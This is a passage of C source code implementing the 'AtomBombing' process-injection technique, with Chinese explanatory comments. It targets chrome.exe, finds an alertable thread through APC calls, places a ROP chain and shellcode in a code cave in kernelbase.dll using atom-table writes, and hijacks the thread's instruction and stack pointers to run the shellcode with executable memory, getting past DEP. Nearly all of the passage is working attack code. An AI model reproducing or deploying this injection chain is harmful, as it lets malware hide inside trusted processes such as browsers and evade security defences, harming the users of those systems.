    PIMAGE_SECTION_HEADER *pptSectionHeader
)
{
    PIMAGE_DOS_HEADER ptDosHeader = NULL;
    PIMAGE_NT_HEADERS ptNtHeaders = NULL;
    PIMAGE_SECTION_HEADER ptSectionHeader = NULL;
    ESTATUS eReturn = ESTATUS_INVALID;
    BOOL bFound = FALSE;

    ptDosHeader = (PIMAGE_DOS_HEADER)hModule;
    if (IMAGE_DOS_SIGNATURE != ptDosHeader->e_magic)
    {
        goto lblCleanup;
    }

    ptNtHeaders = (PIMAGE_NT_HEADERS)(((DWORD)ptDosHeader) + (PUCHAR)ptDosHeader->e_lfanew);
    if (FALSE != IsBadReadPtr(ptNtHeaders, sizeof(IMAGE_NT_HEADERS)))
    {
        goto lblCleanup;
    }
    if (IMAGE_NT_SIGNATURE != ptNtHeaders->Signature)
    {
        goto lblCleanup;
    }

    ptSectionHeader = IMAGE_FIRST_SECTION(ptNtHeaders);

    for (int i = 0; i < ptNtHeaders->FileHeader.NumberOfSections; i++)
    {
        if (0 == strncmp(pszSectionName, (PCHAR)ptSectionHeader->Name, IMAGE_SIZEOF_SHORT_NAME))
        {
            bFound = TRUE;
            break;
        }
        ptSectionHeader++;
    }

    if (FALSE == bFound)
    {
        eReturn = ESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND;
        goto lblCleanup;
    }

    eReturn = ESTATUS_SUCCESS;
    *pptSectionHeader = ptSectionHeader;

lblCleanup:
    return eReturn;
}

ESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave)
{
    PIMAGE_SECTION_HEADER ptSectionHeader = NULL;
    PVOID pvCodeCave = NULL;
    ESTATUS eReturn = ESTATUS_INVALID;
    HMODULE hNtDll = NULL;

    hNtDll = GetModuleHandleA("kernelbase.dll");
    if (NULL == hNtDll)
    {
        eReturn = ESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED;
    }

    eReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader);
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    pvCodeCave = (PVOID)(
        (DWORD)hNtDll +
        ptSectionHeader->VirtualAddress +
        ptSectionHeader->SizeOfRawData
        );

    eReturn = ESTATUS_SUCCESS;
    *ppvCodeCave = pvCodeCave;

lblCleanup:

    return eReturn;
}

ESTATUS main_FindRetGadget(PVOID *ppvRetGadget)
{
    PIMAGE_SECTION_HEADER ptSectionHeader = NULL;
    PVOID pvCodeCave = NULL;
    ESTATUS eReturn = ESTATUS_INVALID;
    HMODULE hNtDll = NULL;
    PVOID pvRetGadget = NULL;

    hNtDll = GetModuleHandleA(NTDLL);
    if (NULL == hNtDll)
    {
        eReturn = ESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED;
    }

    eReturn = main_GetSectionHeader(hNtDll, TEXT_SECTION, &ptSectionHeader);
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    pvRetGadget = memchr(
        hNtDll + ptSectionHeader->VirtualAddress,
        X86_RET,
        ptSectionHeader->SizeOfRawData
    );
    if (NULL == pvRetGadget)
    {
        eReturn = ESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND;
        goto lblCleanup;
    }

    eReturn = ESTATUS_SUCCESS;
    *ppvRetGadget = pvRetGadget;

lblCleanup:

    return eReturn;
}
typedef struct _ROPCHAIN
{
    // Return address of ntdll!ZwAllocateMemory
    PVOID pvMemcpy;

    // Params for ntdll!ZwAllocateMemory
    HANDLE ZwAllocateMemoryhProcess;
    PVOID ZwAllocateMemoryBaseAddress;
    ULONG_PTR ZwAllocateMemoryZeroBits;
    PSIZE_T ZwAllocateMemoryRegionSize;
    ULONG ZwAllocateMemoryAllocationType;
    ULONG ZwAllocateMemoryProtect;

    // Return address of ntdll!memcpy
    PVOID pvRetGadget;

    // Params for ntdll!memcpy    
    PVOID MemcpyDestination;
    PVOID MemcpySource;
    SIZE_T MemcpyLength;

} ROPCHAIN, *PROPCHAIN;

ESTATUS main_BuildROPChain(
    PVOID pvROPLocation,
    PVOID pvShellcodeLocation,
    PROPCHAIN ptRopChain
)
{
    ESTATUS eReturn = ESTATUS_INVALID;
    ROPCHAIN tRopChain = { 0 };

    tRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();

    tRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(
        ROPCHAIN,
        MemcpyDestination
    );
    tRopChain.ZwAllocateMemoryZeroBits = NULL;

    tRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(
        ROPCHAIN,
        MemcpyLength)
        );
    tRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;
    tRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;
    tRopChain.MemcpyDestination = (PVOID)0x00;
    tRopChain.MemcpySource = pvShellcodeLocation;
    tRopChain.MemcpyLength = sizeof(SHELLCODE);

    eReturn = GetFunctionAddressFromDll(
        NTDLL,
        MEMCPY,
        &tRopChain.pvMemcpy
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    printf("ntdll!memcpy: 0x%X", tRopChain.pvMemcpy);

    // Find a ret instruction in order to finally jump to the 
    // newly allocated executable shellcode.
    eReturn = main_FindRetGadget(&tRopChain.pvRetGadget);
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    eReturn = ESTATUS_SUCCESS;
    *ptRopChain = tRopChain;

lblCleanup:

    return eReturn;

}

ESTATUS main_EnumProcessThreadIds(
    HANDLE hProcess,
    PDWORD *ppdwThreadIds,
    PDWORD pcbThreadIdsSize,
    PDWORD pdwNumberOfProcessThreads
)
{
    HANDLE hSnapshot = NULL;
    ESTATUS eReturn = ESTATUS_INVALID;
    THREADENTRY32 tThreadEntry;
    BOOL bErr = FALSE;
    DWORD dwProcessId = 0;
    PDWORD pdwThreadIds = NULL;
    DWORD cbThreadIdsSize = 0;
    DWORD dwNumberOfMatchingThreads = 0;

    dwProcessId = GetProcessId(hProcess);

    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (INVALID_HANDLE_VALUE == hSnapshot)
    {
        goto lblCleanup;
    }

    tThreadEntry.dwSize = sizeof(THREADENTRY32);
    bErr = Thread32First(hSnapshot, &tThreadEntry);
    if (FALSE == bErr)
    {
        goto lblCleanup;
    }

    do
    {
        if (tThreadEntry.th32OwnerProcessID != dwProcessId)
        {
            continue;
        }

        cbThreadIdsSize += sizeof(tThreadEntry.th32ThreadID);
        if (sizeof(tThreadEntry.th32ThreadID) == cbThreadIdsSize)
        {

            pdwThreadIds = (PDWORD)HeapAlloc(
                GetProcessHeap(),
                HEAP_ZERO_MEMORY,
                cbThreadIdsSize
            );
        }
        else
        {
            pdwThreadIds = (PDWORD)HeapReAlloc(
                GetProcessHeap(),
                HEAP_ZERO_MEMORY,
                pdwThreadIds,
                cbThreadIdsSize
            );
        }
        if (NULL == pdwThreadIds)
        {
            goto lblCleanup;
        }

        pdwThreadIds[dwNumberOfMatchingThreads++] = tThreadEntry.th32ThreadID;

    } while (bErr = Thread32Next(hSnapshot, &tThreadEntry));

    *ppdwThreadIds = pdwThreadIds;
    *pcbThreadIdsSize = cbThreadIdsSize;
    *pdwNumberOfProcessThreads = dwNumberOfMatchingThreads;
    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))
    {
        CloseHandle(hSnapshot);
        hSnapshot = NULL;
    }

    if (ESTATUS_FAILED(eReturn))
    {
        if (NULL != pdwThreadIds)
        {
            HeapFree(GetProcessHeap(), 0, pdwThreadIds);
            pdwThreadIds = NULL;
        }
    }

    return eReturn;
}

VOID main_CloseLocalHandleArray(PHANDLE phHandles, DWORD cbHandleCount)
{
    for (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++)
    {
        if (NULL != phHandles[dwIndex])
        {
            CloseHandle(phHandles[dwIndex]);
            phHandles[dwIndex] = NULL;
        }
    }
}

VOID main_CloseRemoteHandleArray(
    HANDLE hProcess,
    PHANDLE phHandles,
    DWORD cbHandleCount
)
{
    for (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++)
    {
        HANDLE hTemp = NULL;

        if (NULL != phHandles[dwIndex])
        {
            DuplicateHandle(
                hProcess,
                phHandles[dwIndex],
                GetCurrentProcess(),
                &hTemp,
                0,
                FALSE,
                DUPLICATE_CLOSE_SOURCE
            );
            phHandles[dwIndex] = NULL;
        }

        if (NULL != hTemp)
        {
            CloseHandle(hTemp);
            hTemp = NULL;
        }
    }
}

ESTATUS main_EnumProcessThreads(
    HANDLE hProcess,
    PHANDLE *pphProcessThreadsHandles,
    PDWORD pcbProcessThreadsHandlesSize,
    PDWORD pdwNumberOfProcessThreads
)
{
    ESTATUS eReturn = ESTATUS_INVALID;
    PDWORD pdwProcessThreadIds = NULL;
    DWORD cbProcessThreadIdsSize = 0;
    DWORD dwNumberOfProcessThreads = 0;
    PHANDLE phProcessThreadsHandles = NULL;

    eReturn = main_EnumProcessThreadIds(
        hProcess,
        &pdwProcessThreadIds,
        &cbProcessThreadIdsSize,
        &dwNumberOfProcessThreads
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    cbProcessThreadIdsSize = dwNumberOfProcessThreads * sizeof(HANDLE);
    phProcessThreadsHandles = (PHANDLE)HeapAlloc(
        GetProcessHeap(),
        HEAP_ZERO_MEMORY,
        cbProcessThreadIdsSize
    );
    if (NULL == phProcessThreadsHandles)
    {
        goto lblCleanup;
    }

    for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)
    {
        DWORD dwThreadId = pdwProcessThreadIds[dwIndex];

        phProcessThreadsHandles[dwIndex] = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);
        if (NULL == phProcessThreadsHandles[dwIndex])
        {
            eReturn = ESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED;
            goto lblCleanup;
        }
    }

    *pphProcessThreadsHandles = phProcessThreadsHandles;
    *pcbProcessThreadsHandlesSize = cbProcessThreadIdsSize;
    *pdwNumberOfProcessThreads = dwNumberOfProcessThreads;
    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    if (NULL != pdwProcessThreadIds)
    {
        HeapFree(GetProcessHeap(), 0, pdwProcessThreadIds);
        pdwProcessThreadIds = NULL;
    }
    if (ESTATUS_FAILED(eReturn))
    {
        main_CloseLocalHandleArray(phProcessThreadsHandles, dwNumberOfProcessThreads);

        if (NULL != phProcessThreadsHandles)
        {
            HeapFree(GetProcessHeap(), 0, phProcessThreadsHandles);
            phProcessThreadsHandles = NULL;
        }
    }
    return eReturn;
}

ESTATUS main_GetThreadContext(
    HANDLE hThread,
    DWORD dwContextFlags,
    PCONTEXT ptContext
)
{
    ESTATUS eReturn = ESTATUS_INVALID;
    DWORD dwErr = 0;
    BOOL bErr = FALSE;
    CONTEXT tContext = { NULL };

    tContext.ContextFlags = dwContextFlags;

    SuspendThread(hThread);
    if (((DWORD)-1) == dwErr)
    {
        eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED;
        goto lblCleanup;
    }

    bErr = GetThreadContext(hThread, &tContext);
    if (FALSE == bErr)
    {
        eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED;
        goto lblCleanup;
    }

    ResumeThread(hThread);
    if (((DWORD)-1) == dwErr)
    {
        eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED;
        goto lblCleanup;
    }

    eReturn = ESTATUS_SUCCESS;
    *ptContext = tContext;

lblCleanup:
    return eReturn;
}

ESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread)
{
    ESTATUS eReturn = ESTATUS_INVALID;
    PHANDLE phProcessThreadsHandles = NULL;
    DWORD cbProcessThreadsHandlesSize = 0;
    DWORD dwNumberOfProcessThreads = 0;
    BOOL bErr = FALSE;
    DWORD dwErr = 0;
    HANDLE hAlertableThread = 0;
    PVOID pfnNtWaitForSingleObject = NULL;
    PHANDLE phLocalEvents = NULL;
    PHANDLE phRemoteEvents = NULL;

    eReturn = main_EnumProcessThreads(
        hProcess,
        &phProcessThreadsHandles,
        &cbProcessThreadsHandlesSize,
        &dwNumberOfProcessThreads
    ); //phProcessThreadsHandles 目标进程的所有线程
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)
    {
        HANDLE hThread = phProcessThreadsHandles[dwIndex];

        eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(
            hThread,
            GetCurrentThread(),
            5000,
            TRUE);
        //所有线程通过APC去调用WaitForSingleObjectEx来等待我们的当前线程
        if (ESTATUS_FAILED(eReturn))
        {
            continue;
        }
    }
    //    在本地创建和线程数目相等的Event
    phLocalEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE));
    if (NULL == phLocalEvents)
    {
        eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED;
        goto lblCleanup;
    }

    phRemoteEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE));
    if (NULL == phRemoteEvents)
    {
        eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED;
        goto lblCleanup;
    }

    for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)
    {
        HANDLE hThread = phProcessThreadsHandles[dwIndex];

        phLocalEvents[dwIndex] = CreateEvent(NULL, TRUE, FALSE, NULL);
        if (NULL == phLocalEvents[dwIndex])
        {
            eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED;
            goto lblCleanup;
        }
        //  通过duplicate复制每个event句柄到目标进程的句柄表里  实现进程间通信
        bErr = DuplicateHandle(
            GetCurrentProcess(),
            phLocalEvents[dwIndex],
            hProcess,
            &phRemoteEvents[dwIndex],
            0,
            FALSE,
            DUPLICATE_SAME_ACCESS
        );
        if (FALSE == bErr)
        {
            eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED;
            goto lblCleanup;
        }
        //然后循环把所有线程都挂起然后调用SetEvent设置event信号 然后都用WaitForSingleObjectEx去等待当前线程(5秒然后恢复线程)
        eReturn = main_ApcSetEventAndKeepAlertable(hThread, phRemoteEvents[dwIndex]);
        if (ESTATUS_FAILED(eReturn))
        {
            goto lblCleanup;
        }

    }

    DWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000);
    if (WAIT_FAILED == dwWaitResult)
    {
        eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED;
        goto lblCleanup;
    }
    if (WAIT_TIMEOUT == dwWaitResult)
    {
        eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND;
        goto lblCleanup;
    }

    hAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0];

    //If the thread is in an alertable state, keep it that way "forever".
    //最后用WaitForMultipleObjects去等待所有event，
    //然后把第一个返回的再用WaitForSingleObjectEx永久等待(之前调用WaitForSingleObjectEx的超时都是5秒)

    eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(
        hAlertableThread,
        GetCurrentThread(),
        INFINITE,
        TRUE
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    *phAlertableThread = hAlertableThread;
    eReturn = ESTATUS_SUCCESS;

lblCleanup:

    main_CloseRemoteHandleArray(
        hProcess,
        phRemoteEvents,
        dwNumberOfProcessThreads
    );

    if (NULL != phRemoteEvents)
    {
        HeapFree(GetProcessHeap(), 0, phRemoteEvents);
        phRemoteEvents = NULL;
    }

    main_CloseLocalHandleArray(
        phLocalEvents,
        dwNumberOfProcessThreads
    );

    if (NULL != phLocalEvents)
    {
        HeapFree(GetProcessHeap(), 0, phLocalEvents);
        phLocalEvents = NULL;
    }

    for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)
    {
        PHANDLE phThread = &phProcessThreadsHandles[dwIndex];

        if ((NULL != *phThread) && (hAlertableThread != *phThread))
        {
            CloseHandle(*phThread);
            *phThread = NULL;
        }
    }

    if (NULL != phProcessThreadsHandles)
    {
        HeapFree(GetProcessHeap(), 0, phProcessThreadsHandles);
        phProcessThreadsHandles = NULL;
    }

    return eReturn;
}

ESTATUS main_GetThreadTebAddress(HANDLE hThread, PVOID *ppvTebAddress)
{
    ESTATUS eReturn = ESTATUS_INVALID;
    CONTEXT tContext = { 0 };
    BOOL bErr = FALSE;
    LDT_ENTRY tLdtEnry = { 0 };
    PVOID pvTebAddress;

    eReturn = main_GetThreadContext(hThread, CONTEXT_SEGMENTS, &tContext);
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    bErr = GetThreadSelectorEntry(hThread, tContext.SegFs, &tLdtEnry);
    if (FALSE == bErr)
    {
        eReturn = ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED;
        goto lblCleanup;
    }

    pvTebAddress = (PVOID)(
        (tLdtEnry.BaseLow) |
        (tLdtEnry.HighWord.Bytes.BaseMid << 0x10) |
        (tLdtEnry.HighWord.Bytes.BaseHi << 0x18)
        );

    *ppvTebAddress = pvTebAddress;
    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    return eReturn;

}



int main()
{
    ESTATUS eReturn = ESTATUS_INVALID;
    PVOID pvRemoteShellcodeAddress = NULL;
    PVOID pvRemoteGetProcAddressLoadLibraryAddress = NULL;
    PVOID pvRemoteContextAddress = NULL;
    PVOID pvRemoteROPChainAddress = NULL;
    CONTEXT tContext = { 0 };
    CHAR acShellcode[] = SHELLCODE;
    PVOID pvCodeCave = NULL;
    BOOL bErr = FALSE;
    ROPCHAIN tRopChain = { 0 };
    HANDLE hProcess = NULL;
    HANDLE hAlertableThread = NULL;
    ATOM tAtom = 0;
    printf("[*] ATOM BOMBING\n\n\n");

    eReturn = main_OpenProcessByName(L"chrome.exe", &hProcess);  //获取进程句柄
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    printf("[*] Searching for an alertable thread.\n\n\n");
    eReturn = main_FindAlertableThread(hProcess, &hAlertableThread);
    ///遍历所有线程，然后循环对目标进程的所有线程通过APC去调用WaitForSingleObjectEx来等待我们的当前线程
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }
    printf("[*] Found an alertable thread. Handle: 0x%X.\n\n\n", hAlertableThread);

    printf("[*] Finding remote code cave.\n\n\n");

    // //获取代码空洞地址，就用kernelbase.dll的.data节的虚拟地址+SizeOfRawData
    eReturn = main_GetCodeCaveAddress(&pvCodeCave);
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }
    printf("[*] Remote code cave found: 0x%X.\n\n\n", pvCodeCave);

    pvRemoteROPChainAddress = pvCodeCave;        //存放的是ROPCHAIN结构体
    pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);        //等于ROPCHAIN的大小是2c
    pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);    //CONTENT的大小是0xcc
    pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;    
    //就是pvRemoteGetProcAddressLoadLibraryAddress +8,pvRemoteGetProcAddressLoadLibraryAddress 里放的就是GetProcAddress和LoadLibrary的地址


    printf("[*] Building ROP chain.\n\n\n");

    //这个函数就是构造ROP,然后通过设置线程环境的EIP为AllocateVirtualMemory,
    //esp和ebp为拷贝到远程的pvRemoteROPChainAddress的地址,结合上面的ROPCHAIN结构的实际数据来举例，
    //当目标线程恢复后跳到AllocateVirtualMemory入口点，因为esp地址为pvRemoteROPChainAddress了，所以pvMemcpy为函数返回地址,
    //下面6个为参数,实为AllocateVirtualMemory(0xffffffff,0x76d01420,0,0x76d01428,0x1000,0x40);
    //可以看到保护为0x40,实为PAGE_EXECUTE_READWRITE，根据原文中作者的意思是过DEP,AllocateVirtualMemory调用完了之后就跳到Memcpy去执行,
    //现在esp的结构
    eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);

    //pvRetGadget是返回地址，下面3个是参数，pvRetGadget实际只是一个ret指令在ntdll.dll的地址,实为memcpy(0,0x76d01500,0x171);
    //这里目标为0,是因为AllocateVirtualMemory的目标地址为0x76d01420,AllocateVirtualMemory调用完了后这里就会放一个地址了,
    //memcpy拷贝完shellcode后，就会返回到pvRetGadget去执行,ret就会返回到0x76d01420里的拷贝过来的shellcode去执行
    //,它首先通过GlobalAddAtom函数把要拷贝的数据放到原子表里然后得到原子,再用APC在目标线程用原子调用GlobalGetAtomName把原子里的数据放到远程内存地址里
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    printf("[*] Copying the addresses of LoadLibraryA and GetProcAddress to the remote process's memory address space.\n\n\n");
    eReturn = main_ApcCopyFunctionPointers(hProcess, hAlertableThread, pvRemoteGetProcAddressLoadLibraryAddress);
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    *(PDWORD)(acShellcode + SHELLCODE_FUNCTION_POINTERS_OFFSET) = (DWORD)(pvRemoteGetProcAddressLoadLibraryAddress);

    printf("[*] Copying the shellcode to the target process's address space.\n\n\n");
    eReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteShellcodeAddress, acShellcode, sizeof(acShellcode));
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }


    printf("[*] Copying ROP chain to the target process's address space: 0x%X.\n\n\n", pvRemoteROPChainAddress);
    eReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteROPChainAddress, &tRopChain, sizeof(tRopChain));
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    bErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext);
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    tContext.Eip = (DWORD)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwAllocateVirtualMemory");
    tContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;
    tContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;

    printf("[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\n\n\n");
    eReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress);
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

lblCleanup:
    if (NULL != hProcess)
    {
        CloseHandle(hProcess);
        hProcess = NULL;
    }
    if (NULL != hAlertableThread)
    {
        CloseHandle(hAlertableThread);
        hAlertableThread = NULL;
    }
    return 0;
}